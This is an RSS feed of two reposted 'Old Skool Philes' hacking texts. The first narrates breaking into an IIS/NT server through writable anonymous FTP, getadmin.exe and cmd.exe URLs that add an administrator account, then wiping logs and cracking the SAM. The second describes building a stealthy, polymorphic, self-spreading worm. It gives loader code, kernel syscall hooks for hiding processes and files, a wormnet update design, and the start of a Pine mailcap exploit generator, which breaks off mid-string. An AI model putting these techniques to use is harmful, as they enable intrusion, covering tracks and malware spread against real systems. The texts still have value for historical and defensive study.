<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Darknet - The Darkside &#187; Old Skool Philes</title>
	<atom:link href="http://www.darknet.org.uk/category/oldskool/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.darknet.org.uk</link>
	<description>Ethical Hacking, Penetration Testing &#38; Computer Security</description>
	<lastBuildDate>Thu, 19 Nov 2009 10:29:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.6</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Hacking Windows NT Through IIS &amp; FTP</title>
		<link>http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/</link>
		<comments>http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/#comments</comments>
		<pubDate>Tue, 25 Mar 2008 04:22:17 +0000</pubDate>
		<dc:creator>Darknet</dc:creator>
				<category><![CDATA[Old Skool Philes]]></category>
		<category><![CDATA[Windows Hacking]]></category>
		<category><![CDATA[getadmin]]></category>
		<category><![CDATA[getadmin.exe]]></category>
		<category><![CDATA[hacking files]]></category>
		<category><![CDATA[hacking ftp]]></category>
		<category><![CDATA[hacking-IIS]]></category>
		<category><![CDATA[hacking-windows]]></category>
		<category><![CDATA[ntremote.txt]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/</guid>
		<description><![CDATA[This is another selection from the Old Skool Philes, I like these as they tend to generate some good discussion and they are a good introduction to newcomers to hacking on the mindset and workflow of getting access to a box. The exact methods may not work, but we aren&#8217;t here to train script kiddies, [...]]]></description>
			<content:encoded><![CDATA[<p>This is another selection from the <a href="http://www.darknet.org.uk/category/oldskool/">Old Skool Philes</a>, I like these as they tend to generate some good discussion and they are a good introduction to newcomers to hacking on the mindset and workflow of getting access to a box. The exact methods may not work, but we aren&#8217;t here to train script kiddies, we just want to make you think.</p>
<p>Johnny Hacker has a Windows NT Server at home. Why? Because he knows if he&#8217;s going to hack NT he&#8217;s best using the same type of computer&#8230;it gives him all the necessary tools. He has installed RAS and has a dial-up connection to the Internet. One morning, around 2:00am he dials into the Internet&#8230;his IP address is dynamically assigned to him. He opens up a Command Prompt window and gets down to work. He knows www.company.com&#8217;s web server is running IIS. How? Because he once did a search on &#8220;batch fil es as CGI&#8221; using Excites search engine. That phrase is in Chapter 8 of Internet Information Server&#8217;s on-line help&#8230;.and unfortunately it&#8217;s been indexed by Excite&#8217;s spider&#8230;now Johnny has a list of around 600 web servers running IIS.</p>
<p>He ftps to www.company.com. He isn&#8217;t even sure yet if the server is running the ftp service. He knows if he gets a connection refused message it wont be&#8230;he&#8217;s in luck though&#8230;the following appears on the screen:</p>
<pre><code>C:\ftp www.company.com
Connected to www.company.com.
220 saturn Microsoft FTP Service (Version 3.0).
User (www.comapny.com:(none)):
</code></pre>
<p>This connection message tells him something extremely important : The NetBIOS name of the server : SATURN. From this he can deduce the name of the anonymous internet account that is used by NT to allow people to anonymously u se the WWW, FTP and Gopher services on the machine. If the default account hasn&#8217;t been changed, and he knows that it is very rare if it has been changed, the anonymous internet account will be called IUSR_SATURN. This information will be needed later if he&#8217;s to gain Administrator access to the machine. He enters &#8220;anonymous&#8221; as the user and the following appears:</p>
<pre><code>331 Anonymous access allowed, send identity (e-mail name) as password.
Password:</code></pre>
<p><div align="center">
<script type="text/javascript"><!--
google_ad_client = "pub-3033787195489589";
google_alternate_ad_url = "http://www.darknet.org.uk/google_adsense_script.html";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text";
google_ad_channel ="4027562844";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "df6f0b";
google_color_url = "df6f0b";
google_color_text = "000000";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<p>Johnny often tries the &#8220;guest&#8221; account before using &#8220;anonymous&#8221; as the user. A fresh install of NT has the &#8220;guest&#8221; account disabled but some admins enable this account&#8230;.and the funny thing is they usually put a weak password on it such as &#8216;guest&#8217; or no password at all. If he manages to gain access to the ftp service with this account he has a valid NT user account&#8230;.everything that the &#8220;guest&#8221; account has access to&#8230;so does Johnny, and sometimes that can be almost everything. He knows he can access their site now&#8230;but there is still a long way to go yet&#8230;.even at this point he still might not get access. At this point he doesn&#8217;t even supply a password&#8230;he just presses enter and gets a message stating that the Anonymous user is logged in.</p>
<p>First off he types &#8220;cd /c&#8221; because some admins will make the the root of the drive a virtual ftp directory and leave the default alias name : &#8220;/c&#8221;. Next he sees whether he can actually &#8220;put&#8221; any files onto the site ie. is the write permission enabled for this f tp site. He&#8217;s in luck. Next he types &#8220;dir&#8221; to see what he has access to. He chuckles to himself when he sees a directory called &#8220;CGI-BIN&#8221;. Obviously the Webmaster of the NT machine has put this here with the rest of the WWW site so he can remotely make changes to it. Johnny knows that the CGI-BIN has the &#8220;Execute&#8221; permission so if he can manage to put any program in here he can run it from his web browser. He hopes that the Webmaster hasn&#8217;t, using NTFS file-level security, cut off write access to the anonymous internet account to this directory&#8230;even though he knows there are sometimes ways round this. He changes to the CGI-BIN directory and then changes the type to I by using the command &#8220;binary&#8221;. Then he types &#8220;put cmd.exe&#8221;. He&#8217;s in luck..he gets the following response : </p>
<pre><code>200 PORT command successful.
150 Opening BINARY mode data connection for CMD.EXE.
226 Transfer complete.
208144 bytes sent in 0.06 seconds (3469.07 Kbytes/sec)</code></pre>
<p>Next he puts getadmin.exe and gasys.dll into the same directory. With these three files in place he doesn&#8217;t even gracefully &#8220;close&#8221; the ftp session; he just closes the Command Prompt window. With a smile on his face he leans back and lights a smoke, savouring the moment&#8230;he knows he has them&#8230;. After crunching the cigarette out in an overflowing ashtray he connects to AOL. He does this because if logging is enabled on the NT machine the IP address of AOL&#8217;s proxy server will be left and not his own&#8230;not that it really matters because soon he&#8217;ll edit the logfile and wipe all traces of his presence. Opening up the web browser he enters the following URL:</p>
<p>http://www.company.com/cgi-bin/getadmin.exe?IUSR_SATURN</p>
<p>After about a fifteen second wait the following appears on his web browser:</p>
<pre><code>CGI Error
The specified CGI application misbehaved by not returning a complete set of
HTTP headers. </code></pre>
<p>The headers it did return are:</p>
<pre><code>Congratulations , now account IUSR_SATURN have administrator rights! </code></pre>
<p><div align="center">
<script type="text/javascript"><!--
google_ad_client = "pub-3033787195489589";
google_alternate_ad_url = "http://www.darknet.org.uk/google_adsense_script.html";
google_ad_width = 336;
google_ad_height = 280;
google_ad_format = "336x280_as";
google_ad_type = "text";
google_ad_channel ="4027562844";
google_color_border = "FFFFFF";
google_color_bg = "FFFFFF";
google_color_link = "df6f0b";
google_color_url = "df6f0b";
google_color_text = "000000";
//--></script>
<script type="text/javascript"
  src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
</div></p>
<p>He has just made the anonymous internet account a local administrator and consequently using this account he can do pretty much what he wants to. Firstly though, he has to create an account for himself that he can use to connect to the NT server using NT Explorer and most of the Administrative tools. He can&#8217;t use the IUSR_SATURN account because he doesn&#8217;t know the randomly generated password. To create an account he enters the following URL: </p>
<p>cmd.exe?/c%20c:\winnt\system32\net.exe%20user%20cnn%20news%20/add</p>
<p>He has just created an account called &#8220;cnn&#8221; with the password &#8220;news&#8221;. To make the account a local administrator he enters the following URL:</p>
<p>http://www.company.com/cgi-bin/getadmin.exe?cnn </p>
<p>It has taken him less than ten minutes to do all of this. He disconnects from AOL and clicks on start, goes upto find and does a search for the computer www.company.com. After about a minute the computer is found, next he right clicks on the &#8220;computer&#8221; and then clicks on Explore. NT Explorer opens and after a little wait Johnny is prompted for a user-name and password. He enters &#8220;cnn&#8221; and &#8220;news&#8221;. Moments later he is connected. Admin rights for the computer www.company.com are appended to his own security access token&#8230;now he can do anything. Using User Manager for Domains he can retrieve all the account information; he can connect to the Internet Service Manager; he can view Server Manager&#8230;first though, using NT Explorer he maps a drive to the hidden system share C$. He changes to the Winnt\system32\logfiles directory and opens up the logfile for that day. He deletes all of the log entries pertaining to his &#8220;visit&#8221; and saves it. If he gets any message about sharing violations all he has to do is change the date on the computer with the following URL: </p>
<p>http://www.company.com/cgi-bin/cmd.exe?/c%20date%2002/02/98</p>
<p>Next, using the Registry Editor he connects to the registry on the remote computer. Then using L0phtcrack he dumps the SAM (the Security Accounts Manager &#8211; holds account info) on the NT server and begins cracking all the passwords on the machine. Using the Task Manager he sets the priority to Low because L0phtcrack is fairly processor intensive (NB L0phtcrack ver 2.0 sets the priority to Low anyway) and there is still a few thing he must do to hide the fact that that some-one has gained entry. He deletes cmd.exe, getadmin.exe and gasys.dll from the cgi-bin, then he checks the security event log for the remote NT server using Event Viewer to see if he&#8217;s left any traces there.</p>
<p>Finally using User Manager for Domains he removes admin rights from the IUSR_SATURN account and deletes the cnn account he created a few moments earlier. He doesn&#8217;t need this account anymore&#8230;.L0phtcrack will be able to brute force all the accounts. Next time he connects to this machine it will be using the Administrator account. He breaks his connection to the Internet and sets L0phtcrack&#8217;s priority to High, leaves it running and heads to bed&#8230;Looking at his alarm clock : it&#8217;s just passed 2:30am&#8230;.Sighing to himself, he mumbles, &#8220;Sheesh, I&#8217;m getting slow!&#8221; and falls asleep with a grin on his face.</p>
<p><em><strong>The original filename was ntremote.txt &#8211; Author Unknown</strong></em></p>
<p align="left"><a class="tt" href="http://twitter.com/home/?status=Hacking+Windows+NT+Through+IIS+%26+FTP+http://bit.ly/zBLZ5+from+@THEdarknet" title="Post to Twitter"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-twitter-micro3.png" alt="Post to Twitter" /></a> <a class="tt" href="http://delicious.com/post?url=http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/&amp;title=Hacking+Windows+NT+Through+IIS+%26+FTP" title="Post to Delicious"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-delicious-micro3.png" alt="Post to Delicious" /></a> <a class="tt" href="http://digg.com/submit?url=http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/&amp;title=Hacking+Windows+NT+Through+IIS+%26+FTP" title="Post to Digg"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-digg-micro3.png" alt="Post to Digg" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/&amp;t=Hacking+Windows+NT+Through+IIS+%26+FTP" title="Post to Facebook"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-facebook-micro3.png" alt="Post to Facebook" /></a> <a class="tt" href="http://stumbleupon.com/submit?url=http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/&amp;title=Hacking+Windows+NT+Through+IIS+%26+FTP" title="Post to StumbleUpon"><img class="nothumb" src="http://www.darknet.org.uk/wp-content/plugins/tweet-this/icons/tt-su-micro3.png" alt="Post to StumbleUpon" /></a></p>]]></content:encoded>
			<wfw:commentRss>http://www.darknet.org.uk/2008/03/hacking-windows-nt-through-iis-ftp/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Writing Worms for Fun or Profit</title>
		<link>http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/</link>
		<comments>http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/#comments</comments>
		<pubDate>Sat, 02 Dec 2006 09:52:56 +0000</pubDate>
		<dc:creator>Darknet</dc:creator>
				<category><![CDATA[Malware]]></category>
		<category><![CDATA[Old Skool Philes]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[computer-security]]></category>
		<category><![CDATA[darknet]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[programming-viruses]]></category>
		<category><![CDATA[programming-worms]]></category>
		<category><![CDATA[virii]]></category>
		<category><![CDATA[virus]]></category>
		<category><![CDATA[viruses]]></category>
		<category><![CDATA[worms]]></category>

		<guid isPermaLink="false">http://www.darknet.org.uk/2006/12/writing-worms-for-fun-or-profit/</guid>
		<description><![CDATA[0&#215;00: Preface
Media, kindly supported by AV &#8220;experts&#8221;, drawn apocalyptical vison of desctruction caused by stupid M$ Outlook / VisualBasic worm, called &#8220;ILOVEYOU&#8221;. Absurdal estimations &#8211; $10M lost for &#8220;defending the disease&#8221;, especially when you take a look at increasing with the speed of light value of AV companies market shares, made many people sick. Lame [...]]]></description>
			<content:encoded><![CDATA[<p><strong>0&#215;00: Preface</strong></p>
<p>Media, kindly supported by AV &#8220;experts&#8221;, drawn apocalyptical vison of desctruction caused by stupid M$ Outlook / VisualBasic worm, called &#8220;ILOVEYOU&#8221;. Absurdal estimations &#8211; $10M lost for &#8220;defending the disease&#8221;, especially when you take a look at increasing with the speed of light value of AV companies market shares, made many people sick. Lame VBS application that isn&#8217;t even able to spread without luser click-me interaction, and is limited to one, desk-end operating system&#8230; Worm that sends itself to people in your addressbook, and, in it&#8217;s original version, kills mp3 files on your disk [1].</p>
<p>And you call it dangerous? Stop kidding.</p>
<p>Over year ago, with couple of friends, we started writing a project, called &#8216;Samhain&#8217; (days ago, on packetstorm, I noticed cute program with same name &#8211; in fact it&#8217;s not the same app, just a coincidence <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . We wanted to see if it&#8217;s difficult to write deadly harmful Internet worm, probably much more dangerous than Morris&#8217;s worm. Our goals:</p>
<ul>
<li><strong>1: Portability</strong> &#8211; worm must be architecture-independent, and should work on different operating systems (in fact, we focused on Unix/Unix-alikes, but developed even DOS/Win code).</li>
<li><strong>2: Invisibility </strong>- worm must implement stealth/masquerading techniques to hide itself in live system and stay undetected as long as it&#8217;s possible.</li>
<li><strong>3: Independence</strong> &#8211; worm must be able to spread autonomically, with no user interaction, using built-in exploit database.</li>
<li><strong>4: Learning</strong> &#8211; worm should be able to learn new exploits and techniques instantly; by launching one instance of updated worm, all other worms, using special communication channels (wormnet), should download updated version.</li>
<li><strong>5: Integrity</strong> &#8211; single worms and wormnet structure should be really difficult to trace and modify/intrude/kill (encryption, signing).</li>
<li><strong>6: Polymorphism</strong> &#8211; worm should be fully polymorphic, with no constant portion of (specific) code, to avoid detection.</li>
<li>
<strong>7: Usability</strong> &#8211; worm should be able to realize choosen mission objectives &#8211; eg. infect choosen system, then download instructions, and, when mission is completed, simply disappear from all systems.</li>
</ul>
<p>With these seven simple principles, we started our work. This text describes our ideas, concepts and implementation issues. It is NOT the terrorist&#8217;s handbook, and has not been written to help people to write such piece of code on their own. It&#8217;s written to show that very serious potential risk, which we virtually can&#8217;t avoid or stop, isn&#8217;t only hypotetical. Code provided here is partial, often comes from first, instead of most recent, Samhain release and so on. But remember &#8211; working model has been written. And this model is deadly dangerous engine, which can be used to very, very bad things. Probably we aren&#8217;t the first people who thought about it and tried to write it, that&#8217;s what make us scared&#8230;</p>
<p>Winter 1998, three bored people somewhere in the middle of Europe.</p>
<p>Sit and relax.</p>
<p><strong>0&#215;01: Portability</strong></p>
<p>This is probably the most important thing &#8211; we don&#8217;t want code that can run only on Windows, Linux or Solaris, or &#8211; worse &#8211; can run only on x86. The task is quite easy to complete if you decide to spread your code in platform-independent form. How could it be achieved? Well, most of systems have C compiler <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  So we might spread worm in source code, with simple decryptor (let&#8217;s say it will be shell script).</p>
<p>But wait, some (not much) systems don&#8217;t have C compiler. What can we do? Using wormnet, worm during infection might ask other wormnet members for compiled binary for given platform. Wormnet details have been described in section 0&#215;04. Anyway, binary will contain appended source code, to make futher infections possible within standard procedure. Infection scheme is described in section 0&#215;03.</p>
<p>First version of our decryptor looked like this:</p>
<pre><code>const char decryptor[]="#!/bin/bash\nX=/tmp/.$RANDOM$$\n(dd if=\"$0\" of="
"$X.f~ ibs=1 skip=\x01\x01\x01\x01 count=\x02\x02\x02\x02\x02\x02 ;dd if="
"\"$0\" of=$X.b~ ibs=\x03\x03\x03\x03\x03 skip=1;echo \"int x;main(int c,"
"char**v){char a[99999];int i=read(0,a,99999);for(;x<i;)a[x++]-=atoi(v[1]"
");write(1,a,i);}\" >$X.d~;
test -x /tmp/.a012382~||cc -x c $X.d~-o/\tmp/."
"a012382~;/tmp/.a012382~ \x04\x04\x04 <$X.f~>$X.gz~;gzip -cd <$X.gz~>$X.c"
"~;rm -f $X.f~ $X.d~;cc -O3 -x c $X.c~ -o $X~;chmod 755 /tmp/.a012382~)&#038;>"
"/dev/null;test -x \"$0\"&#038;&#038;exec $X~ \"$0\" $@\n";</code></pre>
<p>It used very simple (per-byte increments) &#8220;encryption&#8221; for source code with custom increment value (decryptor has been modified accordingly to choosen value &#8211; \x01, \x02, \x03 and \x04 are changed by encryptor routine). Also, this constant decryptor has been every time re-written using simple polymorphic engine (see section 0&#215;06) to avoid constant strings. Later, we modified encryption routine to something little bit stronger (based on logistic equation number generator in chaotical window) &#8211; in fact, it only makes it more difficult to detect in inactive form.</p>
<p>As you can see, this decryptor (or it&#8217;s early version shown above) isn&#8217;t highly-portable &#8211; what if we don&#8217;t have bash, compiler, gzip or such utilities? Well, that&#8217;s one of reasons we&#8217;ve decided to join worms in wormnet &#8211; if sent code won&#8217;t connect back to parent and report itself, host is not marked as infected, and wormnet is asked for pre-compiled binary for given architecture (assuming we already infected this architecture somewhere in the world, and we had needed utilities, or we&#8217;re running the same architecture as infected host).</p>
<p>NOTE: For writing extremely ugly code that can run in DOS, [ba]sh, csh, perl etc and can be compiled with C in the same time, please refer IOCCC archives [2].</p>
<p>Sebastian wrote virus code that can spread both on Windows/DOS platform with C compiler and Unix systems with no modifications nor any interaction. It does cross-partition infections and installs itself as compiler trojan (modifying include files to put evil instructions in every compiled source). It is called Califax and has been developed while writting Samhain, as an excercise to prove that such cross-system jumps are possible. I don&#8217;t want to include Sebastian&#8217;s sources with no permission, all I want to say<br />
is he did it within 415 lines of c code <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Califax hasn &#8216;t been incorporated within Samhain project, as we don&#8217;t want to infect Winbloze for ideological reasons <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_razz.gif' alt=':P' class='wp-smiley' />  </p>
<p><strong>0&#215;02: Invisibility</strong></p>
<p>After breaking into remote system, worm not always have root privledges, so first of all, we wanted to implement some techniques to hide it, make it look-like any other process in system, and make it hard to kill until there&#8217;s a chance to gain higher privledges (for details on system intrusion, please refer section 0&#215;03). Also, we made sure it&#8217;s really hard to debug/trace running or even inactive worm &#8211; please refer section 0&#215;05 for anti-debug code details.</p>
<p>Our non-privledged process masquerading code consists of following parts:</p>
<ul>
<li>- <strong>masquerading:</strong> walk through /proc, choose set of common process names and<br />
  change your name to look just like one of them,</li>
<li>- <strong>cyclic changes:</strong> change your name (and executable name) as well as pid<br />
  frequently; while doing it, always keep &#8216;mirror&#8217; process, in case parent<br />
  or child get killed by walking skill-alike programs</li>
</ul>
<p>Our goal is to make almost impossible (with common tools) to &#8216;catch&#8217; process, as all /proc parameters (pid, exe name, argv[0]) are changing, and even if one of them is catched, we have &#8216;mirror&#8217; project. Of course, at first we should avoid such attempts by camouflage.  This comment comes from libworm README for Unices:</p>
<p>&#8211; snip from README &#8211;</p>
<blockquote><p>a) Anti-scanning routines</p>
<p>Following routines are provided to detect anti-worm stuff, like &#8216;kill2&#8242;<br />
or anything smarter. You should use them before fork()ing:</p>
<p>int bscan(int lifetime);</p>
<p>  bscan performs &#8216;brief scanning&#8217; using only 2 childs. Lifetime should<br />
  be set to something about 1000 microseconds. Return values:<br />
  0 &#8211; no anti-worm stuff detected, please use ascan or wscan.<br />
  1 &#8211; dumb anti-worm stuff detected (like &#8216;kill2&#8242;); use kill2fork()<br />
  2 &#8211; smart (or brute) stuff detected, wait patiently</p>
<p>int ascan(int childs,int lifetime);</p>
<p>  ascan performs &#8216;advanced scanning&#8217; using given number of childs<br />
  (values between 2 and 5 are suggested). It tests environment<br />
  using &#8216;fake forkbomb&#8217; scenario. Results are more accurate:<br />
  0 &#8211; no anti-worm stuff detected (you might use wscan())<br />
  1 &#8211; anti-worm stuff in operation</p>
<p>int wscan(int childs,int lifetime);</p>
<p>  wscan acts like ascan, but uses &#8216;walking process&#8217; scenario. It<br />
  seems to be buggy, accidentally returning &#8216;1&#8242; with no reason,<br />
  but it&#8217;s also the best detection method. Return values:<br />
  0 &#8211; no anti-worm stuff detected<br />
  1 &#8211; anti-worm stuff in operation</p>
<p>int kill2fork();</p>
<p>  This is aletrnative version of fork(), designed to fool<br />
  dumb anti-worm software (use it when bscan returns 1).<br />
  Return value: similar as for fork().</p>
<p>b) Masquerading routines</p>
<p>These routines are designed to masquerade and hide current<br />
process:</p>
<p>int collect_names(int how_many);</p>
<p>  collect_names builds process names table with up to<br />
  &#8216;how_many&#8217; records. This table (accessible via<br />
  &#8216;cmdlines[]&#8216; array) contains names of processes in<br />
  system; Return value: number of collected items.</p>
<p>void free_names();</p>
<p>  this function frees space allocated by collect_names<br />
  when you don&#8217;t need cmdlines[] anymore.</p>
<p>int get_real_name(char* buf, int cap);</p>
<p>  this function gets real name of executable for current<br />
  process to buf (where cap means &#8216;maximal length&#8217;).</p>
<p>int set_name_and_loop_to_main(char* newname,char* newexec);</p>
<p>  this function changes &#8216;visible name&#8217; of process to newname<br />
  (you may select something from cmdlines[]), then changes<br />
  real executable name to &#8216;newexec&#8217;, and loops to the<br />
  beginning of main() function. PID will be NOT changed.<br />
  Set &#8216;newexec&#8217; to NULL if you don&#8217;t want to change real exec<br />
  name. Return value: non-zero on error.</p>
<p>  Note: variables, stack and anything else will be reset. Please<br />
  use other way (pipes, files, filenames, process name) to<br />
  transfer data from old to new executable</p>
<p>int zero_loop(char* a0);</p>
<p>  this function returns &#8216;1&#8242; if this main() code is reached for<br />
  the first time, or &#8216;0&#8242; if set_name_and_loop_to_main() was<br />
  used. Pass argv[0] as parameter. It simply checks if<br />
  real_exec_name is present in argv[0].
</p></blockquote>
<p><!--adsense#Rectangle--></p>
<p>For more details and source code on architecture-independent non-root process hiding techniques, please refer libworm sources [3] (incomplete for now, but always something).</p>
<p>This routines are weak and might be used only for short-term process hiding. We should as fast as possible gain root access (again, this aspect will be discussed later). Then, we have probably the most complex aspect of whole worm. Advanced process hiding is highly system-dependent, usually done by intercepting system calls. We have developed source for universal hiding modules on some systems, but it not working on every platform Samhain might attack. Techniques used there are based on well-known kernel file and process hiding modules. </p>
<p>Our Linux 2.0/2.1 (2.2 and 2.3 kernels weren&#8217;t known at the time <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  our module used technique later described in &#8220;abtrom&#8221; article on BUGTRAQ by <riq@CIUDAD.COM.AR> (Sat, 28 Aug 1999 14:40:31) to intercept syscalls [4]. Sebastian wrote stealth file techniques (to return original contents of eventually infected files), while I developed process hiding and worm interface. Module intercepted open, lseek, llseek, mmap, fstat, stat, lstat, kill, ptrace, close, read, unlink, write and execve calls. </p>
<p>For example, new llseek call look this way:</p>
<pre><code>int new_llseek(unsigned int fd,unsigned int offset_high,
               unsigned int offset_low,int *result,unsigned int whence) {
  retval=old_llseek(fd,offset_high,offset_low,result,whence);
  if (retval<0) return retval;
  if (!(file=current->files->fd[fd])) return retval;
  if (S_ISREG(file->f_inode->i_mode) || S_ISLNK(file->f_inode->i_mode))
    if (is_happy(fd) &#038;&#038; file->f_pos < SAMLEN) file->f_pos += SAMLEN;
  return retval;
}</code></pre>
<p>In this case, we wanted to skip samhain code loader at the beginning of file. is_happy() function has been used to identify infected files. Unfortunately, it also has to check length of this loader &#8211; remember, it&#8217;s dynamically generated. This is code from is_happy() used to determine this size from our decryptor routine:</p>
<pre><code>    // Determine where ELF starts...
    file->f_pos=0;
    BEGIN_KMEM
    r=file->f_op->read(file->f_inode, file, buf,sizeof(buf));
    END_KMEM
    // Groah! We have to write out own atoi... Stupido <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />
    znaki=0;
    while (znaki!=TH &#038;&#038; ++v<r) if (buf[v]=='=') znaki++;
    if (znaki==TH) {
      while (buf[v+(++poz)]!=' ' &#038;&#038; v+poz<r) mult=mult*10;
      buf[v+poz]=0;
      poz=1;
      SAMLEN=0;
      while (buf[v+poz]) {
        if (buf[v+poz]-'0'>9) { znaki=1;break; } // Format error (!)
        SAMLEN+=(buf[v+poz++]-'0')*mult;
        mult=mult/10;
      }</code></pre>
<p>Worm isn&#8217;t spreading across the filesystem widely, so the problem doesn&#8217;t affect many files &#8211; only some executables called in boot process &#8211; to make sure we&#8217;re always resident. Process hiding is quite generic:</p>
<pre><code>int new_ptrace(int req,int pid,int addr,int dat) {
  x=0;
  buf[20]=0;
  sprintf(b,"/proc/%d/cmdline",pid);
  if (active)
    BEGIN_KMEM
    x=old_open(b,O_RDONLY,0);
    END_KMEM
  if (x>0) {
    BEGIN_KMEM
    read(x,b,1);
    END_KMEM
    close(x);
    if (!b[0]) return -ESRCH;
  }
  return old_ptrace(req,pid,addr,dat);
}</code></pre>
<p>Also, we have to hide active network connections for wormnet and sent/received wormnet packets to avoid detection via tcpdump, sniffit etc.</p>
<p>That&#8217;s it, nothing uncommon. Similar code has been written for some other platforms. See my AFHaRM or Sebastian&#8217;s Adore modules for implementation of stealth techniques [5].</p>
<p><strong>0&#215;03: Independence + 0&#215;04: Learning</strong></p>
<p>Wormnet. The magic word. Wormnet is used to distribute upgraded Samhain modules (eg. new exploit plugins), and to query other worms for compiled binaries. Communication scheme isn&#8217;t really difficult, using TCP streams and broadcast messages within TCP streams. Connections are persistent. We have four types of requests:</p>
<ul>
<li>- <strong>infection confirmation:</strong> done simply by connecting to parent worm<br />
  if infection succeded (no connection == failure),</li>
<li>- <strong>update request:</strong> done by re-infecting system (in this case, already installed<br />
  worm verifies signature on new worm when receiving request, then swaps<br />
  process image by doing execve() if requesting binary has newer timestamp),<br />
  then inheriting wormnet connections table and sending short request to<br />
  connected clients, containing code timestamp. </li>
<li>
- <strong>update confirmation:</strong> if timestamp sent on update request is newer than<br />
  timestamp of currently running worm, it should respond with &#8216;confirmation&#8217;,<br />
  then download new code via the same tcp stream; then, it should verify<br />
  code signature, and eventually swap it&#8217;s process image with new exec, then<br />
  send update request to connected worms.</li>
<li>- <strong>platform request:</strong> by sending request to every connected worm (TTL<br />
  mechanism is in use) describing machine type, system type and system<br />
  release, as well as IP and port specification; this request is sent<br />
  (with decreased TTL) to other connected wormnet objects, causing<br />
  wormnet broadcast; first worm that can provide specific binary, should<br />
  respond connecting to given IP and port, and worm that sent platform<br />
  request should accept it (once). Any futher connects() (might happen<br />
  till TTL expiration) should be refused. After connecting, suitable<br />
  binary should be sent, then passed to infection routines. Worm should<br />
  try first with TTL approx 5, then, on failure, might increase it by 5<br />
  and retry 3-5 times, we haven&#8217;t idea about optimal values.</li>
</ul>
<p>Packets are &#8220;crypted&#8221; (again, nothing really strong, security by obscurity) with key assigned to specific connection (derived from parent IP address passed on infection). Type is described by one-byte field, then followed by size field and RAW data or null-terminated strings, eventually with TTL/timestamp fields (depending on type of message).</p>
<p>Wormnet connections structure looks arbitrary and is limited only by max per-worm connections limit. Connections are initiated from child to parent worm, usually bypassing firewall and masquerading software.</p>
<p>On infection, short &#8216;wormnet history&#8217; list is passed to child. If parent has too many wormnet connections at time, and refuses new connection, child should connect to worm from the history list.</p>
<pre>
         3
          |
          |
  3 ----- 2 ---- 3 ----- 4 ------- 5 ------- 6
  |     /        |                 |
  |   /          |                 |
  | /            |                 |		Possible wormnet structure.
  1 ------------ 2 ----- 3         6		Numbers represent infection
    \                  /			order. Bottom "3" couldn't
      \              /				for some reason connect to
        \          /                            it's parent and choosen
          \ ---- 3 ------ 4                     "1" from 'history list'.
                 |
                 |
                 |
                 4
</pre>
<p>What about exploits? Exploits are modular (plugged into worm body), and divided in two sections &#8211; local and remote. We wanted to be platform independent, so we focused on filesystem races, bugs like -xkbdir hole in Xwindows, and inserted just a few buffer overflows, mainly for remote intrusion (but we decided to incorporate some bugs like remote pine mailcap exploit and so on&#8230; Code was kind of shell-quoting masterpiece <img src='http://www.darknet.org.uk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>Pine mailcap exploit (it has been already fixed after my BUGTRAQ post, but in late 1998 it was something new and nice):</p>
<pre><code>fprintf(f,"From: \"%s\" <%s@%s>\n",nam,us,buf2);
fprintf(f,"To: <root@%s>\n",hostname);
fprintf(f,"Subject: %s\n",top);
fprintf(f,"MIME-Version: 1.0\n");
fprintf(f,"Content-Type: multipart/mixed;\n");
fprintf(f,"\tboundary=\"----=_NextPart_000_0007_01BD5F09.B6797740\"\n\n");
fprintf(f,"------=_NextPart_000_0007_01BD5F09.B6797740\n");
fprintf(f,"Content-Type: default/text;\n\t");

fprintf(f,"\x65\x6e\x63\x6f\x64\x69\x6e\x67\x3d\x22\x5c\x5c\x5c\x22\x78\x5c"
        "\x5c\x5c\x22\x5c\x20\x3d\x3d\x5c\x20\x5c\x5c\x5c\x22\x78\x5c\x5c"
